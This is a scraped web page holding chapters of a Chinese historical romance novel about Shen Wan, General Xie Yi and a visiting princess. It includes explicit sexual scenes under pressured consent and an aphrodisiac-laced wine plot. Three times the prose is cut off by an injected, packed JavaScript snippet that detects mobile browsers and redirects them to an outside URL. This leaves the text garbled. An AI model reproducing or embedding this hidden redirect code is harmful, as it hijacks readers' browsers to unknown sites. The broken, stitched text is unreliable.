他扯了扯谢翊袖子,将人拽坐下,不忘招呼:“沈姑娘,这菜叫什么名字?你也帮公主夹一块。” 沈绾看出代鄯用意,忙道:“这是酒酿鲥鱼片,这时节吃起来清爽可口,公主尝尝。” 乌兰朵见二人递了台阶,撇了撇嘴角重又坐下,眼前的鱼片晶莹剔透,色泽诱人,她忍不住夹起筷子尝了一口,肉质香嫩爽滑,入口香汁四溢,的确美味! 罢了,看在美食的份上,她也不同他计较。 “确实不错。”她衷心评价。 沈绾见她喜欢,又给她夹了几块,这会儿不似上回奉茶,之前她因拿不准乌兰朵知晓真相的态度,心中防备,现在尘埃落定,对方又从中帮了不少忙,沈绾自然心怀感谢: “这道菜是我同小厨房的师傅一同研制的,公主若是喜欢,以后只需知会一声,将军便吩咐人将菜做好送到您府上去,若是不方便,改明我写张烹制方子,交给公主府上的厨子,保管一教就会。” 沈绾殷勤说着,乌兰朵脸色渐缓,方接言道:“好啊,不过可不敢劳烦某位大驾,你改日写张方子送到我府上来,正好咱们可以探讨一下美食。” “是。”沈绾应下。 代鄯见气氛缓和,在旁徐徐道:“看起来,沈姑娘和公主是有缘分在的,方才谢了公主,现在还要多谢沈姑娘,若不是你说服百姓出面状告,撕开这么一道口子,下面也不会进展得这么顺利。” “丞相说笑了,这件事本就因我而起。”沈绾眼睫低垂,“后面连累将军入狱,我心里已经很过意不去了。” 谢翊正要说什么,只听代鄯故作惊讶道:“怎么?你难道不知这一切皆是阿烈的谋划?” 沈绾水眸一抬,讶异道:“什么?” 她当初去找代鄯,就是琢磨能否想个法子扭转局势,后来听说了代鄯的计划,她当即找到各村百姓,请他们帮忙。 没想到这一切,早就在谢翊计划之中? 害她这些日子白白担心这么久! 沈绾皱了皱眉头,脸上看不出喜怒,可谢翊生怕她因此恼了自己,心里早把代鄯暗骂了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他侧眸望去,只见谢翊也正好抬眼望来,二人对视一眼,代鄯终于将盘绕在心头的疑问道出:“那些太学学子到底是从哪冒出来的?” “怎么?他们不是你安排的?”乌兰朵嘴里嚼碎一块牛腩,眸底闪过震惊。 代鄯:“当然不是,我虽有掌管太学之权,可那些到底是未入仕的学子,要他们犯颜劝谏,风险实在太大。” 见众人沉默,代鄯不由道:“这么说,连你们也不清楚了?” “能煽动了那些书呆子的,想必不是普通人。”乌兰朵同样感到好奇,咂舌感叹:“这人有些本事啊!是不是你朝中哪位同僚,想同你卖个人情,这才私下帮忙?” 代鄯虽觉可能性不大,但也没有反驳,若真是如此,那这背后之人此刻应该找上门来邀功才是。 “有件事我想问问大人的看法。”沈绾骤然出声,打断了二人谈话,就连声音也下意识比先前大了些。 沈绾讪讪,可说出的话却平稳有力:“既然你们已决定扳倒巴泰王,何不再给他添一条罪状?横征暴敛、贪污受贿,御马司那档子事定然与他有关系。当初接连绑人,就是因为司里无度征收,导致百姓所欠银款越累越多,这才有了人口交易。” 代鄯默了默,没有接话,反倒是谢翊沉声解释:“独独压下税银之事,也是从大局考量。那魏公公身居高位多年,却只认一个主子。巴泰王虽可能与其勾连,但真正幕后者另有其人。 魏公公虽是个贪财的主,可也深知明哲保身的道理,他之所以稳立多年不倒,正是明白一个诀窍:只要一切罪事牵扯到那位背后的主子,那不管犯了什么事,他的位置永远不会动摇。” 谢翊虽说得隐晦,可沈绾瞬间心领神会,这才意识到御马司的水有多深。 蝶翼般的羽睫颤了颤,掩去眸底复杂的神色,“将军说的在理,我明白了。” 36. 第三十六章 红酥手 一场宴席散去,已是月上中天,代鄯惦记明日早朝,简单话别几句,领着沈葭回了府。 沈葭担心谢翊晚上喝醉会闹沈绾,还特意留下了一张醒酒方子。 孰不知谢翊没醉,醉的倒是乌兰朵。 不知是否因为酒性过烈,她直吵着今晚要在此留宿。 谢翊说什么也不同意,可终是架不住沈绾相劝:“天色已晚,公主单人单骑,又未带小厮侍女,一个人回去总归不安全,我看还是将她在府中安置一夜吧。” “我派人送她回去。” 沈绾身子一晃,扶着靠在肩头的乌兰朵,无奈轻嗔:“将军……真当如此小气?” 水眸含嗔,眼尾半挑,当真是惑人得紧,谢翊滚了滚喉结,“罢了。” 抬手唤来春桃,口中嘱咐可眼神却未移动分毫,直直落在沈绾身上,“春桃,你好生将公主安顿好,莫要出了岔子。” 谢翊将后两个字咬得颇重,春桃机灵,当下明白将军意思,她自然不会让公主殿下打扰到将军和姑娘,“是。” 不待春桃上前搀扶,沈绾顿时感到肩头一轻,只见谢翊单手“拎”起乌兰朵,朝春桃身上一放。 乌兰朵并未喝得大醉,只是有些微醺,这会借着酒意不过是要给谢翊添添堵。意识到有人扶她,抬起醉意朦胧的眼,点着春桃鼻尖嗤笑:“你家将军的心眼比针眼还小,哪及沈姑娘体贴。” 一边说着,一边推开春桃,藤蔓般攀上沈绾,嘴里嘟囔着:“我今晚要同沈姑娘一起睡。” “……” “?” 谢翊脸色顿时一沉,比鞋底还黑。 沈绾脑袋一懵,还未反应过来。 下一瞬,谢翊二话不说过来扯人,乌兰朵不依不饶,八爪鱼般缠在沈绾身上。 春桃在一旁左右犯了难。 三人僵持半晌,沈绾架不住对方这么抱着,终是妥协:“好了好了,将军,今晚就让公主与我同住吧。” “不……”谢翊正要反对,忽见乌兰朵朝沈绾脸侧贴了贴,那唇肤相贴的距离,明显是亲了她。 “我就说沈姑娘人美心善,是心疼我的。”仗着表面几分醉意,乌兰朵说话越发没了顾忌。 谢翊眼中布满震惊,眉头拧得都快能夹死苍蝇。 她、她竟敢如此放肆! 都是女儿家,沈绾倒没感到什么,只觉乌兰朵醉了实在闹腾,动作只滞了片刻,便唤春桃帮忙,一左一右搀着朝自己房里走。 只剩谢翊伫立在原地,他想要说些什么,可嘴唇上下翕动两下,却什么都没说出来。 擦肩而过之际,乌兰朵半倚半靠在沈绾身上,不经转头回望过来,朝谢翊露出一抹似有若无的笑。 那笑里有得意、挑衅、狡黠,这段日子在谢翊那碰的钉子,在此刻看到对方脸上那变幻莫测的表情时,瞬间全都补偿回来。 ** 沈绾屋子不大,可该有的东西都很齐全。 春桃从厨房端来温水,又遵照沈绾的吩咐煮了醒酒汤,乌兰朵很是配合,老实喝下。 沈绾绞了帕子给她擦脸更衣,忙活一圈后,才将人扶上床榻。 乌兰朵本也没喝多,北疆女子烈酒中泡大,哪能轻易就醉了? 方才在谢翊面前的样子不过是装出来的,可眼下见沈绾丝毫没有嫌弃抱怨,反而耐心细致地照顾自己,唇角不由弯了弯。 “沈姑娘,”乌兰朵抚了抚额,侧眸浅笑,“你这个样子,我怕是没法再坚持下去了。” “什么?”沈绾铺开被褥,给她盖在身上,有些没听清。 乌兰朵淡笑摇头,“没什么。” 她半支着脑袋,侧头望向沈绾,低语喃喃:“这些日子,我想明白很多。我曾觉得自己喜欢烈将军,可后来我仔细想过,我对他的追求,不过是想为自己找个可靠的盟友和伙伴,是为了父王的期许,为了东厥子民的未来。在许多方面,烈将军固然是好,可他眼底心底没有我,更加看不见我的好,也不是我能喜欢的人。” 她视线渐散,似乎失了焦点,开始自言自语:“这世上有些事情强求得来,可有些事情……女子在世,总会有许多无可奈何,我们为何不能恣意洒脱,过自己想要的人生?” 她痴痴说着,忽而摆了摆手,露出一抹苦笑:“罢了,我当初信誓旦旦夸下海口,可直到今日才有些明白,不是你的终归不是你的……” 不知是否因为醒酒汤的缘故,乌兰朵只觉困意似奔腾的潮水,不断翻涌而来。 声音渐说渐小,眼皮上下相碰几回,终于沉沉阖上。 她尽管故作轻松,沈绾还是听出她的惆怅,见人终于睡着,方起身替她将被子细细掖好。 放下帘帐之际,沈绾从唇边飘下一句轻叹: “对不起……” 这声音极轻极淡,刚落入空中便消散了。 简单为自己洗漱后,沈绾披着外衫坐到窗台下,那正好摆了张椅榻,出了片刻神,她才熄了烛灯,解衣躺下。 春夜浓长,虫鸣不断。 沈绾睡得不沉,半梦半醒间,恍惚觉得身子在微微晃动。 清冽熟悉的气息钻入鼻腔,眼帘半掀,眼前景物徐徐移动,头颈似乎靠在一处坚实的肉墙上。 视线上移,男人线条清晰的下颌映入眼帘,再往上,是高挺利落的鼻梁和仿若藏着幽潭的眼眸。 眼睫眨了几下,沈绾这才确定自己被人抱出了房间,眼底顿时闪过惊诧:“你做什么?” 谢翊垂眼:“抱你回房睡觉。” 他说的面不改色,好像这只是例行公事,最日常不过。 深夜府宅寂静,沈绾怕惊动旁人,只好蹙眉小声提醒:“公主还在我房间里,你半夜闯进去,被她撞见怎么办?” 谢翊不以为然,“撞见就撞见,她莫名其妙霸占你,还不允许我把人抢回来?” “……”沈绾语塞。 穿过庭院,二人来到谢翊书房,这是谢翊日常处理军务的地方,有时累了他就直接在里间的卧榻休息。 房门刚一合上,迫不及待的吻便如细密雨点,悉数落下。沈绾困意早已醒了大半,这会儿被眼前这只黏人的“巨型犬”缠上,一时招架不住。 他大半夜不睡觉,就为了抱她过来亲亲? “阿鸾,我好想你。”谢翊呼吸渐渐变得粗哑,握住她的手放在胸口,“我说的都是真心话,想你想到骨头疼,不抱着你我睡不着。” 沈绾失笑:“难道将军也得了丞相传染,患上难解的失眠症?” “我的病不难解,有你在就行。”谢翊卖乖,将脸埋在她颈侧,贪婪汲取她身上的馨香。 他私下不是没有和代鄯探讨过治疗失眠之法,他一直觉得,这世上总有一个的气息可以与另一人对应上。 如同沈绾于他,可以抚平心中万千空荡和不安,只要有她,他的灵魂才算完整。 沈绾被他这么一闹,早已没了睡意,此刻任由他抱着,只是脑海里不断掠过乌兰朵的话,让她不由走神。 似乎察觉到怀中人不对劲,谢翊抬起头,双眸凝在她脸上,“怎么了?” 沈绾摇摇头,没有答话,她此刻的心事不是三言两语能说清的,何况她自己还没理明白,更不知该如何开口。 谢翊仔细观察她的神情,立即看出她有心事,“阿鸾,对不起,我不该有意瞒你。” 沈绾茫然抬头,一时没听明白。 谢翊温声解释:“我曾经说过,你想做的事可以大胆去做,有我在你身后,你什么都不用怕。当时你花了那么多心思,又那样信心满满,我自是不愿扫兴。何况你我所做的事情本就不谋而合,只是方式不同罢了,你为我开了这道口子,我自然要来收这个尾。 只是……耶齐雷仅仅被禁足,并不算真正倒台,只怕日后会生变故……” 沈绾恍然,原来是说这个。 “你还说,”沈绾想到这些日子的担忧,忿忿用拳头捶他胸口,“你若早些告诉我,我也不会贸然行事,害我担心那么些日子。” “是吗?你很担心我?”谢翊贴在她耳侧,唇瓣在玉肤上来回摩擦,喷出的气息滚烫、炙热,像是要在她身上深深刻下烙印,“这是不是代表,我在你心里已经占据了很重要的位置?” “阿鸾,你其实已经开始有些喜欢我了,对不对?”谢翊捧着她的小脸,问得小心翼翼。 他的目光由希冀转为灼热,紧紧攫住她的眼,不容任何回避。 像是隐匿在暗夜深潭的岩浆,只待一刻,就会尽数喷涌而出,将她整个烧穿。 “阿鸾,我是个卑劣又贪心的人,我本以为哪怕你不爱我,只要你在我身边,我就可以满足,可事实不是这样,我希望你爱我,哪怕这份爱只有零星的一丁点。” 他声音沙哑,带着卑微的乞求,“阿鸾,你可不可以试着爱我……爱我一点好不好?” 男人的话像声声魔咒,缭绕在沈绾耳畔。 交缠的呼吸渐渐升温蒸腾,她发现,谢翊的眼尾不知何时覆上一抹殷红,给他清俊冷冽的容颜勾画出一分冶丽,像个勾人的男妖精。 身子一空,她被他抱坐在书桌上。 一侧窗子将合未合,飘来春 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“不,不行……”她牙齿骤然一合,一股淡淡的铁锈味在唇间漫开。 沈绾偏过头,小脸潮红,呼吸急促,羞得说不出话来。 方才说到底,是她先主动的,这会儿半路而逃,她含羞垂下脑袋。 腰间衣带散乱,在身侧虚虚挂着,身前衣襟更是被揉得不成样子。 谢翊眼角猩红,粗喘了几口气,像是着了魔般,只停滞片刻便又缠着她不依不饶。 大掌用力钳住她乱动的腰肢,掐得她生疼。 沈绾忙朝后仰了仰,整个身子都几乎躺倒在书桌上,这倒更加方便了谢翊,他握着小腿轻轻一拉,半个身子随之覆上,让她避无可避。 “阿鸾,你可怜可怜我……”他嗓子痒得冒火,烧得连神志都有些不清楚。 眼前人衣襟凌乱,香腮胜雪,一双眸子勾魂摄魄,她才是那个妖精! “啊……”轻薄的外衫被扯开,沈绾这才意识到今晚的谢翊有些不对劲,“不可以!” “将军……”她低声唤他,求他清醒。 可他没应。 “谢翊……”她又唤他,甚至带了些委屈的哭腔,“阿翊,疼……” 谢翊动作一顿,熟悉的声音,熟悉的称呼,他仿若从梦中惊醒,身下女子泪痕满面,委屈巴巴看着他。 他这是做了什么……怎么又弄哭她了? “阿鸾,对不起,我……” 他也不知今晚怎么了,只觉方才好像有团邪火在往上窜,一碰到她,就根本停不下来。 沈绾也有些晕乎,虽竭力唤醒他,可身子早已没了力气。 “许是这屋子太闷热,把窗子打开些,咱们都醒醒神。”沈绾低声道。 谢翊闷闷嗯了声,走过去将木窗往上抬了抬。 沈绾趁他关窗的空档,随手理了理衣襟,支力跳下书桌,可脚刚一沾地,竟全然无力支撑,眼看要滑坐在地,好在谢翊迅即回身将她扶住。 沈绾又羞又恼:“都怪你!” 大晚上发什么神经,不仅扰了她清梦,还把她弄成这副模样。 “是是是,怪我。”谢翊长睫低垂,正巧扫到她散开的衣襟处,月色外衫轻薄,里间着一件绯色抹胸,愈发衬得雪肤照人,清艳夺目。 谢翊滚了滚喉结,再开口,声音低哑惑人:“阿鸾,你帮帮我,好不好?” “什么?”沈绾正疑惑,只见他垂眸往下示意。 待看清某处,沈绾的脸腾地一下红透了,“你怎么,又……” 她支吾着说不出,谢翊倒是坦白:“见着你,我忍不住,它也忍不住。” 像是恶魔般握住她的小手,低语诱哄:“你疼疼它,我上次教过你的。” 像是被悄然蛊惑,沈绾由他牵引,小手随着他摆弄。 不知过了多久,窗外淅淅沥沥,竟下起了小雨。 沈绾玉手酸疼,在男人一声满足的喟叹后,终于卸了力,心中感叹这雨下得实在太不容易。 “我要睡了。”她累极了,转身要去寻卧榻,这个时辰,总不能再回去,打扰到乌兰朵倒不好,索性在这将就一晚。 刚要转身,腰间手臂蓦地一紧,反手将她压在窗台下。 “做什么?”沈绾蹙眉,她不是都帮过他了? “还没结束呢。”谢翊俯下身,吮咬她娇嫩的耳唇。 耳畔响起阵阵春雷,沈绾一瞥眼,这男人…… “这回你换别处帮我。” 37. 第三十七章 夜阑珊 乌兰朵是被这阵春雷吵醒的。 坐起身怔了片刻,这才想起是在沈绾的屋子里,今晚这酒初时虽不觉怎样,可后劲确实挺大。 她揉了揉脑袋,总感觉这酒似乎哪里不对劲,可一时又说不出来。 一时口干舌燥,寻遍屋子也没发现茶水,索性出了屋子打算去厨房找壶茶。 出了庭院,转过一处月门,意外发现一树西府海棠正值花期,开得如火如荼,热烈锦簇,风儿吹过,簌簌飘落如雨,美得出尘。 她驻足欣赏少顷,忽听树后隐约传来女子的低吟声。 那声音太过娇媚,却有些耳熟,乌兰朵按下心中疑惑,往前走了几步,竟发现那树后掩着一扇窗子,窗扇半合未合,隐约映出一个女子的身影。 乌兰朵这才意识到,原来天色太暗,自己不小心走到谢翊的小院,这里的书房,她曾来过。 娇吟时断时续,乌兰朵饶是性格洒脱不羁,此刻也听得面红耳赤。 留神一瞧,这女子身后竟还站着个男人! 沈绾初时是不愿意的,可耐不住谢翊坚持,他哄她说只这一回,弄完就让她睡觉。 她困得不行,好不容易松了口,结果就发展成现在这样。 一切似乎有些失控。 她本以为方才已是她的极限,可没想到原来谢翊的花样早已超出她的认知。 她双腿并拢,男人的胸膛贴在背后,烫得她脊背冒汗,可这样他仍不消停,不停轻啄她的脸蛋,一口一个唤着“卿卿”。 这样亲密的称呼让她脸上的火烧得更旺,好在她背着脸,没有让他看到。 可谢翊哪舍得错过这副美景,长指掰过她的小脸,仔细端详,“阿鸾,你也是舒服的,是不是?” 她羞得发臊,闭着眼不答话,什么也来不及思考。 难不成是被他下了药? 眼帘不经一挑,好似有个人影从树后闪过,可再一定睛,又什么都没有,仿佛只是春花飞落的影子。 见她不理人,谢翊将她转过身,二人四目相对,鼻息纠缠。 沈绾的腿早就软了,此刻是被他半搂半抱坐在窄仄的窗台,他若是力气大些,她半个身子就要伸出去。 起初她抗议为什么要在这个地方,谢翊只说这风景好。 沈绾望着眼前繁密的海棠花,心中暗庆这树长得真好,多少能帮她挡着些人,否则她是说什么也不愿跟他在这荒唐。 风拂花落,携进几丝细雨,几片花瓣落在乌发鬓角,发丝轻扬,美得恍若神妃仙子。 她撩起含羞的眼,柔声抱怨:“还要多久?” 谢翊只盯着她不答,简直如痴如醉,根本没人能理解他此刻的欢愉。 他曾经觊觎的月亮,高台上遥不可及的人儿,此刻就在他身下,他能真真切切感受到她,她的风情、她的娇羞,只为他一人绽放。 终于,云歇雨收,沈绾靠在他肩头小口喘息,她清晰听到他有力的心跳,一声声,好似撞进她心里。 神志回位,意识到刚才做了什么,心脏一滞。 她属实没想到自己今晚能妥协成这样,难道……她真的对谢翊动了情?! 不,不对!她所做的一切都是为了自己!他是她的刀啊,一个复仇者没了刀,要拿什么砍向敌人? 是的,仅此而已。 她费尽心思救他,不过是为了可以更好地利用他,何况在扳倒耶齐雷这件事上,他们本也没有分歧。 至于今晚……酒后乱性,人之常情,她只是身体抗拒不了他,那根本代表不了什么。 即便对他真有些感情,也只是一时的意乱情迷,等达到目的,二人一拍两散,即便到时候真有一方放不下,时间会治愈一切。 所以,一切顺其自然,享受当下。 这样想着,沈绾心里顿时通透畅快不少。 谢翊自然不清楚她心中所想,起身关了窗子,将人抱起放到床榻,又取来干净的棉巾给二人擦拭干净,全程沈绾都别过脸,没有看他。 将狼藉收拾好,谢翊方才躺下,长臂揽人入怀,二人一时谁都没有说话。 “阿翊。”不知过了多久,沈绾背对着他,低低出声。 谢翊眼睫一动,她除了在情动的时候偶尔这样唤他,平日这还是头一遭。 “嗯?”他朝她颈窝靠了靠,他们这副样子,好似情人间的耳鬓厮磨,他很是喜欢。 沈绾阖着眼,轻声呢喃:“若是有一天,你发现我骗了你,你会怎样?” 谢翊轻笑,“我甘之如饴。” “那如果我弃了你,此生不复相见,你会怎样?” 谢翊心头一顿,陡然低头,在她颈侧咬了一口。 “嘶——”沈绾痛呼。 谢翊的眸子晦暗幽沉,手臂猛然收紧,紧紧箍着她,生怕她下一瞬就会消失。 “你若敢跑,我就折断你的腿。”他紧咬着牙,一字一句从唇缝挤出,好似用了极大的力气。 沈绾身子不由一颤,良久,她听到他在耳边低叹,像是下了极大的决心,“阿鸾,我费尽心机将你留在身边,不是让你恨我,更不是让你再一次逃离。” “即便做不到爱,也请你不要说这种话。”他乞求道,“我到死都会缠着你。这辈子,你休想摆脱我。” 恍惚间,颈侧传来湿热,沈绾不禁幽叹: 这男人居然这么爱哭啊…… 罢了,她实在太累,许多事情今晚没力气再想,合上眼,很快入了梦。 ** 次日,沈绾醒得早,记着乌兰朵还在府里,便想问问她早饭可有什么想吃的,刚走到屋前,就瞧见春桃走过来。 “公主?”春桃眨着眼,“我昨晚起夜,瞧见她后半夜就已经离府了。” “昨晚?”沈绾有些奇怪,怎么好端端的不说一声就走了。 “我记得公主昨晚走的匆忙,只说府里有急事。” “是吗……”沈绾暗忖,昨晚她醉成那样,大半夜能遇到什么急事?若是她半夜醒来,岂不是发现自己根本不在房里? 再往下,她不敢细想…… “姑娘,”春桃见沈绾出神,提高了些声调,“姑娘想什么呢?” 沈绾回神,抽了抽嘴角,“没什么。” 春桃贴心道:你和将军昨晚喝了不少酒,这早饭就弄的清淡些,姑娘觉着可好?” 想到昨晚,沈绾脸上闪过一丝羞恼和尴尬。 这两日因接谢翊回府,她特向司里告了两日假,原想着他在狱里定是吃了不少苦,如今出来是要好好补偿一下,可一想到昨夜的荒唐,她顿觉自己白瞎了心。 “你看着办吧。”沈绾没了关切的心情,自然不想在谢翊的事上多花心思。 今日既不去司里当值,她也不想将时间浪费在府里,这大好时光,不如去拜访师父。 心中正想着,忽听门口小厮跑来,说门口有一黑脸大汉来找她。 沈绾一听,心道除了李大山还能是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈绾不想同他解释太多,只道:“我同他只是简单的交情,本想着这样一些小事,用不着时刻向将军汇报吧?” 谢翊听出沈绾语调的淡漠,不由几步走到跟前,放缓了声:“阿鸾莫恼,我也只是随口一问,既是你的朋友,那就请进府,我们要好好招待才是。” 谢翊嘴上虽说着,可扫去的眼神却丝毫没有化冰的迹象。 李大山察觉出对方的敌意,绷紧了脸,硬声道:“不必了,我今日只是帮乡亲们给沈姑娘送谢礼,不需要什么招待。” 他放下手中竹筐,转身清了清车板,跃身坐上牛背。 擦身而过之际,正好对上沈绾望向自己的眼神,心中异潮不觉漫过胸腔,“沈姑娘,我既是你大哥,那以后无论遇到什么事,记得来找我。” “嗯。”沈绾捋过耳边被风吹乱的发丝,淡然点头。 李大山一扬牛鞭,驾着牛车缓缓离去,全然无视谢翊越发冷凝的视线。 “看够了没?”男人虽竭力压着,可声音不觉透出几分森冷。 沈绾不做理会,从容收回视线,弯腰抱起地上竹筐,回身往府里走。 “春桃,还是把这些果菜放进地窖里吧,天气越发热了,以免腐坏。” “知道了,姑娘。” 府中人一时各忙各的,全然无人理会门口在风中凌乱的谢翊。 38. 第三十八章 空流水 “阿鸾,”谢翊亦步亦趋,跟在沈绾身后打转,“我跟你说话呢。” 见她怎么也不搭理,他一时没了耐性,一把掐住她的手腕,将人拉入花厅。 他力气大,她再是挣脱不了。 清泠泠的眸子无波无澜,映在谢翊眼里,好似被当头浇了盆冷水,他不怕她吵,不怕她恼,就怕她用这双淡漠到极点的眼神看他。 没有情绪,没有温度,就好像……在看一个陌生人。 谢翊浑身的血液不觉凝了片刻。 “将军想说什么?”沈绾凝视着他,仍是那副淡淡的语气。 “我……”谢翊被她这副样子弄得没了脾气,方才还在心头燃烧的火苗顿时被扑个干净。 沈绾见他支吾半天,也没说出个所以然,转身要走,却被男人的手死死箍住。 “等等……”谢翊翕动嘴唇,纠结半晌,终是软了语气:“阿鸾,你别不理我。” 他眼睑低垂,眨巴两下睫毛,继而自下而上望向她,像只努力讨主人欢心的大狗狗,拧巴又委屈。 他承认自己刚才没来由冒了邪火。 那是对外来入侵者的警惕和提防。 什么叫“有事记得来找我”?她有他在,为何要去找别的男人? 可她偏偏还对那个男人笑了笑,那是什么意思?是不是表示她已经打算离开他? 一想到这,谢翊感觉身上的每个毛孔都在喷火战栗,他不允许,绝不允许! 可沈绾是他的软肋,他不愿看她失望难过,更加害怕看到她冰冷的眼神,所以只要她还在他身边,他做什么样的妥协都可以。 她不喜欢他这样,他改就是了。反正大丈夫能屈能伸。 “我错了,阿鸾,方才我不该那样。”谢翊叹了口气,缠抱住她的手臂,温声道歉,“我……我就是看到他看你的眼神,心里有点吃味,你别生气,我保证下次再也不这样了。” 他一句句说得诚恳,良久,沈绾动了动眼珠子,静静打量他,忽而冒出一句:“看来乌兰朵说得果真没错。” “什么?”谢翊抬眼一眨,被这句话说得摸不着头脑。 “将军的心眼比针眼还小,连这样的飞醋都吃。”沈绾歪头浅笑,“以前怎么没发现?” “……” 谢翊讪讪,心里却暗暗回答一句:因为以前你从没在意过我。 过往三年,他对她的爱意藏在无人知晓的暗隙里,年复一年,不见天日,可即便如此,这颗情芽也如同夏日迸发的藤蔓,在阴影里野蛮且恣意生长,根根交叠、层层盘绕,直到将他的整颗心彻底占据。 因为她看不见他,所以他曾经吃醋的东西有很多:同她玩闹的小宫娥、送她吃食的小太监、乃至被她救治的小燕子…… 他曾经无数次地想,如果她的笑、她的好只属于他一个人,那该多么美妙。 他知道自己的心思病态又龌龊,所以悄然将其掩藏,不敢让她发现一丝一毫。现在他好不容易将她困在身边,自是不会再出一点纰漏。 小心眼就小心眼吧,反正他的心本来就不大,只能装下她一个人。 “我留京的日子本就没剩几天,我们可不可以不要再闹别扭了?”谢翊牵过沈绾手心,小心翼翼握进手里。 “怎么?将军又要离京?”沈绾感到意外。 “是啊,我这次出来,皇上点名让我北上平乱赈灾,过两日便要走了。” 沈绾差点忘记这茬,若有所思道:“听说是有南部乱党北上煽动流民,眼下又正逢旱灾,将军此去定要当心才是。” 她嘴上虽说着,可心里却隐隐盘算起当今局势。 当初晋王长子——她那位堂哥,曾携传国玉玺南逃,贺骁率领的定北军一路随行护卫,在东南沿海一带建立起“南胤”政权,耶齐格一直将其视为眼中钉肉中刺。 即便是谢翊上次南征,也未能将所谓的“叛军乱党”一网打尽,如今他们竟能北上煽动民心,想来势力不容小觑。 见沈绾凝眉沉思,谢翊以为她是担心自己,不由眉头顿舒,心情愉悦,“阿鸾放心,我既然和代鄯做了这场戏,那定然是要做全套。” 听他这样说,沈绾顿时愕然,水眸一瞪,“难道……” “不错,”谢翊含笑解释,“所谓南方乱党不过是我安插的棋子,北方挑动暴乱那些人,自然是我一手安排的。” 沈绾这才明白他这盘棋下的有多大,“将军居然有这番能耐……” “你是不是也太小看我了?”谢翊被她的话气笑,屈指轻点鼻尖,“半个天下都是我打下的,想在北部各城安插几个自己人还不容易?至于南部残军……” 他觑了眼沈绾,沉声道:“这伙人盘踞东南,确实有些棘手……” “这回北上平乱只是表象,重点是赈灾,只要先将灾情遏止住,流民自然也就好安抚。” 沈绾明白谢翊说得在理,他这回既然敢借此造势,肯定是有几分把握。 自拓摩入主中原以来,众人皆知拓摩有个不屠城池、不杀降民的将军,与那些暴虐无道的拓摩领军相较,谢翊这样的行事作风在百姓口中风评甚好,是以当西盘街赌场一案公诸于世,大将军谢翊蒙冤获罪,又牵扯到被拓摩权贵凌辱欺压的无辜民众,百姓群情激愤,一切计划自然如顺水行舟。 如今耶齐格为安抚民心,派谢翊出面最合适不过。 “将军说的是。”沈绾敛了情绪,正色道:“那这两日我亲自为将军打点行装吧。” 谢翊见她不再恼,甚至这般关心,明亮的眸子漾起喜色,“好。” 二人正说着话,忽有小厮进来递了封信,“将军,这是丞相府着人送来的,说是给沈姑娘。” 沈绾心下一动,接过信封,只见上面写着簪花小楷,她一眼认出是沈葭的字迹。 打开细细阅看,字里行间简述出昨晚状况,随之便描述起某些草药及其功效,沈绾玉瓷般的小脸倏尔浮现出一层绯色。 她就知道,昨晚的酒果然不对劲! ** 景康宫内,药香氤氲,襄吉皇后半支着额头,懒懒倚在玉榻上。 她近来身子愈发重,常觉头晕目眩,恶心作呕,太医虽看过好几轮,可情况就是不见好转。 “娘娘这几日越发消瘦,奴婢还是请皇上过来看看吧。”一旁掌事嬷嬷忧心忡忡,取来软枕给皇后垫上。 “不必了,皇上朝事繁忙,不要为了这点小事让他忧心。”皇后摆了摆手,有气无力,仰着一张憔悴的脸问道:“嬷嬷,本宫这是头一回怀胎,你瞧着我这身子,能否平安诞下孩儿?” 嬷嬷上了年纪,眉头一蹙,额间皱纹如深渠沟壑,老态毕现。 她斟酌片刻,小心翼翼回道:“娘娘是有福之人,又是头一胎,反应虽有些大,但太医说了,只是脾虚失调之症,想必仔细养养就能好,这可是皇上的第一个孩子,有皇上的鸿福罩着,孩子会平安降生的。” 听嬷嬷这样安慰,皇后神色渐渐舒展不少。 “皇上看重这个孩子,本宫又何尝不是。”皇后轻叹了口气,“父王膝下只有两个女儿,我这一胎若是个皇子,母以子贵,到时候能为族人做的事也就多些。倒是我那个妹妹,性子虽率真洒脱,可处理起男女之事到底生疏了些。” “对了,听说她昨晚留宿在将军府了?” 掌事嬷嬷侍奉襄吉皇后多年,这会儿听主子聊起了家常,神色渐渐松泛:“回娘娘,听公主府中的小厮是这么说的,听说是为了庆祝将军出狱,还特意带了两坛好酒去,就是娘娘上回嘱咐要送给烈将军的那坛。” 皇后闻言,意味深长颔首:“这样也好,他们之间总得更进一步。” “娘娘放心,那酒常人喝了滋阴补阳,对身体大有裨益,若是一对有情人喝了,那便添了几分催欲暖情,情愈深,效欲显。” “话虽如此,可就怕那耶齐烈待阿朵并无此意。”皇后凝眉道,“将军府中的那个沈绾,可是个厉害角色。” 嬷嬷不以为意,说道:“娘娘放心,先前咱们的功夫没有白费,如今市井街巷,在他们胤人百姓口中,前朝帝姬早已是个通敌叛国、人人喊打的角色,而她的身份在拓摩一族自然也不受待见。即便烈将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934146|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执意想娶她,也得三思后行,毕竟,于民间、于朝堂,那位前朝帝姬对他百害而无一利,大将军是个聪明人,他定能明白这点。” 皇后微微点头,凤眸中闪过暗芒,“你说的在理,但愿他能早日认识到,只有阿朵才是良配。” 话音刚落,只听殿门吱呀一声。 